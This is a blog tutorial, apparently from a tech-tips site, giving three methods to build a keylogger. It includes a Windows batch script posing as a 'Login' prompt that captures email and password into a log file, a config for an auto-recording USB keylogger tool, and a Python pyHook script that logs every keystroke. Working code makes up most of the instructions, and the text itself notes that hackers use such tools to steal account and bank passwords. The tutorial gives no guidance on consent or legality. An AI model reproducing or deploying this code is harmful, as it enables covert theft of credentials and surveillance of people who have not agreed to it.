How to create a keylogger using Notepad, USB & Python [Top 3 Ways]

How to make a keylogger

Wondering how to create a keylogger or how to make a keylogger in notepad? Well if the answer is yes then we are here to help you out. As you read further in this article we will be sharing some of the simple steps to create a notepad keylogger and explain some of the top factors that you will need to keep in mind while making a keylogger.

As you read further in this article you will get to know about three methods to create a keylogger. The first one is the notepad keylogger and the second is the python keylogger. However, before we head into the topic let’s have a quick look at what a keylogger actually is.

Enough of talking now, without further discussion let’s dive right in and learn how to create a keylogger using top 3 working methods:

Also Check: The 5 best Programming languages for Game development 

What is a Keylogger

In simple words, a keylogger is an application that tracks your keyboard strokes and stores the data in a log file. A keylogger can be used for surveillance as well as hacking purpose. Most of the hackers use a keylogger to get access to social media accounts password and bank login details.

Talking about the surveillance sector the IT professionals use keyloggers to troubleshoot computer problems. Also, parents often use keyloggers to track their children’s online activity. However to give you a better idea about the keyloggers here are the each and every information that a Keylogger can collect:

  • Keyloggers can save your social media account password.
  • It can track the websites that you visit by typing the URL.
  • It can also capture the emails that you sent to others.
  • It can record all the software that you run on your computer.

Now that you know what is a keylogger and what kind of information it can collect. So let’s head into the topic of “how to make a keylogger in notepad”. So here we go:

How to create a keylogger

Here I am going to explain three working methods to create keylogger on PC, one of the methods is “How to make a keylogger in notepad” and another one is “How to make a keylogger in python”.

So first let’s have a look at the method to make a keylogger using notepad.

1. How to make a keylogger in notepad

How to make a keylogger in notepad - How to Create a Keylogger
How to make a keylogger in notepad

So in order to make a notepad keylogger here are the steps that you need to follow. So here we go with the steps:

Step 1: First of all open Notepad on your Windows computer. Or you can use other text editing applications as well. Some of the popular Text editor applications are Notepad++, Sublime Text, Atom and so on. So you can download any of the text editors or you can use Notepad application from your computer.

Step 2: Once you have opened the Notepad then you have to enter the following code:

@echo off

color a

title Login

cls

echo Please Enter Your Email Address And Password

echo.

echo.

cd “C: Logs”

set /p user=Username:

set /p pass=Password:

echo Username=”%user%” Password=”%pass%” >> Log.txt

start >>Program Here<<

exit

 

Step 3: Once you are done entering the code. You have to save the file as “Logs.bat”. Make sure you are not changing the code, as the code will only work if the filename is Logs.bat. So make sure you are keeping an eye on that.

Step 4: After saving the file, close the Notepad application as you will not need it anymore. So after saving the file, you have to create a folder on the Local Disk (C). So go ahead and make a folder on the Local Disk (C) with the name of  “Logs”. Make sure the folder name is Logs as it will only work if the folder name is Logs so you have to keep an eye on this as well.

Now you have to copy the Logs.bat file and paste it into the “Logs” folder. Once you are done pasting you are good to go.

2. How to make a USB keylogger

How to make a USB keylogger - How to Create a Keylogger
How to make a USB keylogger

In order to make a USB keylogger.  Here are all the steps that you have to follow.

Step 1: Get a flash drive or pen drive or you can use a portable hard disk drive.

Step 2: Now you have to download the Shadow Keylogger application. The application is completely free and you can download it via this link. Also, make sure that you are installing the Shadow Keylogger on the flash drive and not on your computer.

Shadow Keylogger - How to create a Keylogger
Shadow Keylogger – How to create a Keylogger

Step 3: After downloading the application you have to install it. So double click on the downloaded file and follow the screen instructions in order to install the application.

Step 4: Now make sure you have .NET Framework 2.0 or later Net framework version installed on your computer. If you dont have Net Framework then you can download the Net framework from this download link.

Step 5: Once you are done installing both of the application. It’s time to activate the keylogger so in order to activate the keylogger open the Notepad application from your computer.

Step 6: On the notepad type down the following code

<?xml version=”1.0″ encoding=”UTF-8″ ?>

<config>

<Password>password123</Password>

<StartRecordingImmediately>1</StartRecordingImmediately>

<AccessMode>Automatic</AccessMode>

<AccessIcon></AccessIcon>

<IncludeTimestamp>1</IncludeTimestamp>

<SaveKeystrokes>0</SaveKeystrokes>

<SaveKeystrokesDir></SaveKeystrokesDir>

<SaveKeystrokesRate></SaveKeystrokesRate>

<TakeScreenshots>0</TakeScreenshots>

<TakeScreenshotsDir></TakeScreenshotsDir>

<TakeScreenshotsRate></TakeScreenshotsRate>

<TakeScreenshotsQuality></TakeScreenshotsQuality>

</config>

 

Step 7: Now save the file as config.xml. Also, make sure you are saving the file in the flash drive along with the Shadow Keylogger application.

Step 8: Now in order to make the keylogger work just double click on the Shadow Keylogger application and it will start recording the keystrokes.

3. How to make a keylogger in Python

How to make a keylogger in Python - How to Create a Keylogger
How to make a keylogger in Python

Apart from the notepad, you can also create a keylogger using the Python programming language. So here are all the steps that you have to follow while making a keylogger with Python. So here we go:

Step 1: So first of all download and install the Python if you have not yet. In order to download python, you have to visit this webpage and download the Python 3.6.3 MSI file.

Step 2: Once downloaded, double-click on it and click on run. After clicking on RUN the installation process will begin.

Step 3: When you go and install the application make sure you tick the checkbox on the Add to Path button. Then you have to click on the install button and you are done. However to make you understand better here is a screenshot:

Python - How to create a keylogger
Python

Step 4: Now have to navigate to Python IDLE, If you are using windows 8 or 10 then search for Python IDLE in the search bar. (Check Screenshot)

Search bar Windows
Search bar Windows

Step 5: Once you are on the IDLE click on the File then click on the New file from the top navigation menu bar.

Step 6: Then on the new file you have to enter the following code:

import pyHook, pythoncom, sys, logging

# feel free to set the file_log to a different file name/location

file_log = ‘keyloggeroutput.txt’

def OnKeyboardEvent(event):

    logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)

    chr(event.Ascii)

    logging.log(10,chr(event.Ascii))

    return True

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = OnKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

 

Step 7: Once you are done entering the above-mentioned code. You have to save it as keylogger.py

Step 8: Once saved double click on the file and you are good to go.

Wrap Up:

So that was all for the how to make a keylog. Just in case if you have any questions then you can comment below.

Also if you are trying out the python keylogger then it is advisable to have the basic knowledge of python programming else it will be hard for you to understand things. Because Python is really an advanced language for a newbie to understand it completely.

I hope this article on How to create a keylogger helps you to in creating a keylogger in the best working method for you. If you still have a question or doubt on How to create a keylogger then you can tell me in the comment box.

If you liked the article then do share it with other programmers and help them solve the problem.

SHARE
Adil Shah is the founder and CEO of Rapid tricks and ReviewFlag, he is a tech and SEO expert. He is passionate about blogging and having 3 years of experience in the field. On Rapid Tricks, he writes about all tech related tips&tricks, Android, iOS, etc.

LEAVE A REPLY